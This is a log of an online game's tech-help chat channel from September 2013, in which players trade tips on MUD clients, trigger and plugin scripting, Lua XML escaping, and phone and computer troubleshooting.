T3/r7/2013-09-09.txt.gz:{chan ch=tech}Bast Tech: did you load every plugin in the directory?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Bast Tech: go to File->plugins and remove all my plugins, then only add the ones you want to use
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: your right
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: i saw do not pick and choose load entire zip
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: sorry for being such a newb
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: ok i got it all cleaned up and fresh aardwolf client
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: bast folder is in the pugins folder
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: ok what plugins do you like best
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Ayasinda Tech: each like different ones
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Alcor Tech: you could just do it like most people and play without plugins to see which features you are missing - and then isntall ir code plugins to fix those
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Alcor Tech: install or code*
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: i mostly wanted spell up but it dosnt seem to work
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Six-String Strazor Tech: anyone use a password manager App with the Iphone that you would reccommend?
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: the arden group manager is glitching
T3/r7/2013-09-09.txt.gz:{chan ch=tech}Parkar Tech: it fills my screen red and says identify redirect not found or had a previous error
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Ravryn Tech: hi my Mudlet app is really high on my macbook and the toolbar is unclickable, i tried to reinstall it but it starts up the same way, any dieas?
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: in mush how can you get the second value, if output is like 0 100
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: without doing something like a,b =
T3/r7/2013-09-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: seccond value from what?
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: from 0 100
T3/r7/2013-09-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thats the output but wouldnt know how to capture it if i dont know where its comming from
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: it's a function returning 2 values
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: s1,s2 = CallPlugin( etc
T3/r7/2013-09-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: then yeah you would need to do a,b = .. or if you only wanted the one value i think _,a works but i havent tried it
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: would put first value in s1, second in s2
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: isn't there another way, I just don't wanna put it in a string/etc
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: I just wanna see it on a print()
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: maybe I can add a function that returns second value only
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: ye lemme try
T3/r7/2013-09-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm if both are numbers you might do a,b = tonumber(...) but i cannot see how you would put it strait to a print
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: ye works with a function :p
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: not sure if cleanest but whatever
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto grins evilly.
T3/r7/2013-09-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: aslong as it works :P
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: ye and as long as some pro coder doesn't see it and ridicules you :(
T3/r7/2013-09-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im no where near a pro coder, i dable and thats it
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: haha, "professional coder" does in no way equal good code ;)
T3/r7/2013-09-10.txt.gz:{chan ch=tech}TrEz Tech: :)
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: probably the opposite. :P
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Hey, I'm using blowtorch, v2. I'm trying to find a way to capture a couple words into a variable, namely anything/everything that'll be between these [] in my prompt. (.+) will capture one word, is it possible to capture more than one?
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Ixle Tech: Anyone know how to use the linux recode command to count characters in a file?
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: the internet said to try this.. fgrep -o f <file> | wc -l
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Ixle Tech: It's part of an assignment so I'm bound to using recode.
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: then I'd assume ya might want to study on how to use the command ;)
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Ixle Tech: I agree, it's silly, use what works imho...
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Ixle Tech: I can get it to output each character and the type, but haven't figured out how to get it to count the frequency yet
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: When you manually change an alias (.aliasname <change>) is there anyway to gag what it gives back?
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Ixle Tech: Btw Milquetoast: cat <file> | recode ..count-characters  :)
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Tech: Big Daddy Milquetoast holds his thumb up at nothing in particular.
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Cytan Tech: Anyone use Visio by chance?  I am trying to figure out how to build an ER Model from a MySQL instance using ODBC, doesn't seem to be supported even when installing the MySQL ODBC Connection Driver.
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Icecool Tech: What apple clients do people use these days? Know someone that just got a Mac Book and they are wondering what to go with
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Tech: go with aard MUSHclient
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Cytan Tech: tintin for the win.
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Cytan Tech: if you're comfy w/ terminal
T3/r7/2013-09-10.txt.gz:{chan ch=tech}Icecool Tech: Thanks guys.
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: anyone have any experience doing video captures with Emulators?
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: i tried to do one from Nestopia but the Avi was so horrible you couldn't see anything in it
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Gener Tech: has anyone had any luck making a plugin that tracks inventory in a mini window?
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Gener Tech: mushclient
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Above Tech: i have a question..is there any way to unlock my iphone 4 locked at AT&T? i used it when i was in USA but now i am back home in europe and i want to use it here too
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Doc Holliday Tech: there is, there are many sites that will send you the unlock code for a fee
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Doc Holliday Tech: if you would have done it while on ATT they would have given it to you free
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Above Tech: so..if i ask someone who is in USA now can him call ATT and unlock it for me?
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Doc Holliday Tech: it's possibly but because the phone isnt active they may not.
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Orruk Tech: I work for AT&T, and you want to use att.com/deviceunlock. it's the only method they use for unlocking an iPhone
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Doc Holliday Tech: and there youhave it
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Ranrr Tech: Paying for a phone, and then pay to use it as you wish. Insanity, I say! :P
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Above Tech: what was the command to restore window pos for ww plugin?
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what is the easy way to get 2 decimal places shown in c++?
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Gener Tech: has lacher and Nick Gammon given up on this awesome inventory miniwindow?  http://www.gammon.com.au/forum/bbshowpost.php?id=8936&page=1
T3/r7/2013-09-11.txt.gz:{chan ch=tech}Nuanse Tech: Gener, have you checked basts miniwin inventory plugin?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: anyone know of a video software i can use to delete parts of an AVI ?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: for all the foobar2k users out there - use a resampler and wasapi output. getting amazing results
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: GMCP: Char             Receive character status updates.                   OFF     how to turn it on? request char doesnt seem to work
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Bwseay Tech: trying to add portals to the mapper plugin in MUSH...where/how do i add my bag?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Redryn Tech: write an alias
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Bwseay Tech: there seems to be one already...but i cant find where
T3/r7/2013-09-12.txt.gz:{chan ch=tech}DaRicoDude Tech: I'm excited for iphone ios 7 and 6.13 jailbreaks!!!!!!!!!!!!!
T3/r7/2013-09-12.txt.gz:{chan ch=tech}DaRicoDude Tech: 1.6.3
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Above Tech: how can i reset ww S&D window position?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}RightOn Rithlin Tech: xset reset gui
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Cryos Tech: is there a way to see how long you have been logged on this current session?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Bode Tech: finger yourself?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Taldornor Tech: bwahahaha
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Tech: Piffaron blushes.
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Cryos Tech: lol thanks
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Can just type 'finger' by itself.
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Tech: Book of Etzli shrugs helplessly.
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Taldornor Tech: yeah, just a 'finger' by itself is good enough.
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks to someone asking how to find how long they were online, I've made a script to do just that. Useless to many, interesting to me. :p
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Subs the "online since : Wed Sep 9 10:32:31 2013" into an output that reads, "online for : 3 days, 2 hours, 13 minutes and 16 seconds"
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Quadrapus Tech: Any C++ gurus out there? I would like to buy a textbook about the language and am looking for suggestions
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Juictice Tech: deitel and deitel
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Basolili Tech: Are there any benefit in using zMud over MUSH?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Gener Tech: mush is free zmud you have to pay.  :)
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Ravryn Tech: which is better?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Vexthorne Tech: Mush is pretty easy to get setup without any pain
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Gener Tech: to me they seem the same but it has been a few years since i used zmud.
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Doc Holliday Tech: if you arent a scripter or anything, mush is nice with the mapper and things which have been created
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Basolili Tech: okay cool..im no scripter. Using a zmud trial atm I find it more smooth and flawless than MUSH for some reason.
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Ravryn Tech: whats the advantage of scripting and what is scripting?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Gener Tech: if you like it it not reasona=bly priced.  $30 or 35 i think
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Basolili Tech: im sure i can get around it :P
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Ravryn Tech: does it help with pking and clan wars and such? do clans require it?
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Gener Tech: I looked on TPB  nothing worked I tried
T3/r7/2013-09-12.txt.gz:{chan ch=tech}Basolili Tech: whats TPD?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}[Deputy] Honorable Tech: anyone know why with AT&T MMS dont go through if your on the phone when they are sent
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Because they don't allow data and phone time to coexist.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}[Deputy] Honorable Tech: why can i use the web then
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Wireless connection?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: The MMS will use the phone's data plan. If you're connected wirelessly, it'll use your internet.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}[Deputy] Honorable Tech: with 4g not wifi
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm. No clue, then. Maybe different networks for MMS and the 4G, then.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Hi, is it possible to enable mccp on an android device ?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: the blowtorch client uses mccp
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: The device would have to be capable to enable it, so I don't ever think it'll happen.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Or maybe not.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Forgot blowtorch uses it.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Oh great! thanks I'll download blowtorch now
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: and i suppose the cureall solution is to tunnel to a pc :p
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Redryn.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: tunnel?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Nuanse Tech: instead of connecting directly to aard, you connect to your own computer that then connects to aard and you gain all you have in your computer
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ok I see the blowtorch on aards site is the beta version.. is the one on playstore a better version or the same?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: i just use blowtorch
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: don't think there's much difference other than logo or autologin
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ahh ok, thanks Redryn. 
T3/r7/2013-09-13.txt.gz:{chan ch=tech}North Westclox Tech: is there a way in much to include a %1 in the middle of a trigger pattern like you can in zmud?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: use a * as a variable
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: or use regex
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: what does a tp
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: sorry
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: what does a toast message trigger do?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ok im new to triggers,is there a site with examples on how to create nice triggers?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: yes, wait a sec
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: www.gammon.com.au/mushclient/triggers.htm
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ixle Tech: And there's always: http://lmgtfy.com/?q=mushclient+triggers
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: or www.gammon.com.au/mushclient/funwithtriggers.htm
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: yep, that one usually works very well too. lol
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Apocolus Tech: how do you edit a alias or macro which can auto scan the room and auto target mobs? 
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: is it an alias, a macro or a plugin? What client are you using?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Apocolus Tech: download from the website
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: is it an alias, a macro or a plugin you wish to edit?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Apocolus Tech: yeah
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: what is it? Each is edited differently.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir . o O ( still missing the times where people wrote their own bots... )
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: lol
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Apocolus Tech: alias
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: goto game>configure>aliasses  click the alias you wish to edit, click the 'edit' button
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Apocolus Tech: this is expert , i have to ask other expert people for help,thanks
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Ayasinda Tech: You won't find anyone more expert. All are here on tech channel.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Tech: as the person who runs the website you got it from...but note that without using a database of scanoutput-to-mobkeyword pairings, something like that won't work reliably
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Tech: ask*
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: is there a way to make blowtorch not to disconnect after 5 min when my tablet is sleeping?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: do you have some setting that tries to save battery by turning off data when sleeping?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: idk , but il have a look now
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: great in wifi - advance i turned on the option to keep wifi on during sleep
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Gener Tech: would this work as a trigger to match on either of these?  I just want it toplay a sound when a mob dies.    * is battered to death* | * is DEAD* | * is slain *
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: i think there are many more death messages
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: i trigger death off exp gained
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Gener Tech: i will just add tem as i see them  :)
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Gener Tech: oh yeah  much simpler  heh  thanks
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Gener Tech: is this the right expression?  i am trying to make a macro that will use this skill on my target.  Burnt marbu %  i tried Burnt marbu %<target> and neither works.
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Gener Tech: it returns they aren't here each time
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Gener Tech: i figured it out. all i needed was burnt  with no target implied
T3/r7/2013-09-13.txt.gz:{chan ch=tech}TrEz Tech: going to a continent freezes mush for a bit
T3/r7/2013-09-13.txt.gz:{chan ch=tech}TrEz Tech: is that from a the mush version
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: probably plugin
T3/r7/2013-09-13.txt.gz:{chan ch=tech}TrEz Tech: not mush but like ... the output freezes
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: some of the older plugins are inefficient and slow
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: or your computer sux
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Basolili Tech: i tried zmud this morning it was pretty meh...using cmud now its so much faster than MUSH and zmud
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Redryn Tech: i prefer mush, more configurable
T3/r7/2013-09-13.txt.gz:{chan ch=tech}TrEz Tech: cpu jumps from 0.5 to 3% when that happens
T3/r7/2013-09-13.txt.gz:{chan ch=tech}TrEz Tech: version is r1602
T3/r7/2013-09-13.txt.gz:{chan ch=tech}TrEz Tech: is there a way to check mush's speed like on zmud
T3/r7/2013-09-13.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ive set my blowtorch trigger with the line (friend): Hunti has entered Aardwolf.   and the command it must use is ft *random Hunti     my friend Hunti just entered aardwolf but the trigger didnt execute, any ideas why please
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Tigernuts Tech: think you'll find i just wired up a 70ft network cable and succeeded first time
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Book of Etzli Tech: I think I won't find that since I have no feasible way to verify that 1.) it's been done. and 2.) that you did it it. But thanks for the heads up, and congratulations?
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Tigernuts Tech: well normally i end up going through half a dozen ends
T3/r7/2013-09-13.txt.gz:{chan ch=tech}Tech: Doc Holliday tosses a bottle of beer at Tigernuts ... let's just hope he'll catch it!
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Basolili Tech: where can i change the font size in cmud?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Under Preferences -> Syntax.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, Styles.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Basolili Tech: which one should I change in regards to the output texts?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Default Session.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: It's pretty much clearly labeled, though.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Basolili Tech: thanks :) Im new to cmud so not to familiar with the terms
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli rapidly nods twice, in complete agreement.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Basolili Tech: do you know if I could change the color of grey text?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure can, under the "Ansi"
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: You'd change foreground colors to whatever you want them to be.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Basolili Tech: hmmm we're talking about the texts describing a room when I input the command 'look' right?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Right. You're wanting to change the default "gray" color to a color of your preference? It would change all "gray" to whatever color you choose.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: You can change SOME settings MUDside, using colorset.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: If you type 'colorset status', you'll see what options you can change MUDside.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Basolili Tech: ya aardwolf doesnt offer the change on colorset
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Basolili Tech: but i worked it out I change the color in the '7' box and made it into a grapefruit color haha
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: is there a way to test for the existence of a variable in ruby?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: There's no 'if variabe != nil' equivalent?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: doesn't seem to be
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: or at least i can't seem to get it
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: always throws me errors about the variable not existing :(
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Looks like you're looking for: defined? <var>
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: yea i found that too from google
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Redryn sighs.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: i don't know maybe it's something else throwing errors
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: trying to rewrite step by step now
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Fun times.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Redryn Tech: anyone familiar with ruby?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Any Excel gurus that can answer this? I want to remove duplicates based on email address, but ONLY the duplicates that contain "test" or "sam".
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I've no idea how to do it.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: And as an example, two entries: Dave Johnson, djd.com, and test124,djd.com -- I want to keep Dave Johnson, but drop the test124.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Nuanse Tech: http://www.wikihow.com/Find-Duplicates-in-Excel
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Bamboo Tech: Why does mapper keep re-setting my 'xset mark' ?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Nuanse Tech: mapper doesnt reset it ;)
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Nuanse Tech: it's winkles script
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Nuanse Tech: try to use xset mark (roomnumbeR) if that helps. if I recall right it had something to do with the order of the rooms...winkle fixed it years ago 
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Bamboo Tech: Will try that, thanks. (:
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Bamboo Tech: Is there a way to put a wildcard into a variable in blowtorch then use it?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Apocolus Tech: how do you make an alias that can auto-cast the skills lasting for more than one round?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Trachx Tech: you mean spellup script ?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Rusk Tech: or do you mean maledictions?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Trachx Tech: anyway, alias is just group of command executed when you type that alias, trigger causes to do some action in case there are requirements met (like string match or so)
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Apocolus Tech: just an alias that could auto release the active skills when you type 'kill ?' 
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Trachx Tech: mud-side: help alias, client-side depends on client
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Apocolus Tech: oh thanks
T3/r7/2013-09-14.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: .so files in android apks... are pretty much like .dll right? they have to be digitally signed?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Varas Tech: Someone help me
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Dtboy Tech: sup
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Varas Tech: I've updated my mac to mountain lion, and it keeps dropping my wifi connection
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Varas Tech: wlan that is
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Varas Tech: it just stops for some reason.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Varas Tech: That is, it won't refresh pages or reconnect, but it says the signal's fine.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Dtboy Tech: hmm, sorry there man, i use windows
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Dtboy Tech: a normal reboot might help?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: no Hisazul , apk is .exe files and it dont need to be digitally signed
T3/r7/2013-09-14.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: is like *
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Varas Tech: Did 4-6 reboots so far
T3/r7/2013-09-14.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: nice i see blowtorch only uses 2megs after 12hours of aard
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That depends on how much you're actually doing, and your spamreduce settings.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: it can go lower, as well as much higher.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: im quest sitting, but i think it could go up to 6megs if im leveling non stop with damage 0 serting
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Xarfin Tech: Anyone available to help with a Lua issue in with AardMUSH?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Just ask the question instead of asking if anyone is available.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Much easier because someone may be able to answer it regardless.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Xarfin Tech: Alright then. For some reason whenever I try an if statement with less than [like: if i<60 then...] it fails to load my plugin with an error like:
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Xarfin Tech: Line  179: Element name must start with letter or underscore, but starts with """ (Cannot load)
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Xarfin Tech: Using [if i==60] works fine... not sure what's going on here. As far as I can tell nothing's wrong with the syntax
T3/r7/2013-09-14.txt.gz:{chan ch=tech}HelperMan Hadar Tech: are you setting your variable as a number?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Mye Tech: if you're editing the xml directly, make sure you're in a cdata segment, or otherwise escape it as &lt
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Mye.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: The < is being interpreted as an open bracket for an element name.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Xarfin Tech: Hmm... that must be it! Let's see.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Basically, it thinks you're trying to do something like <body> instead of less than.
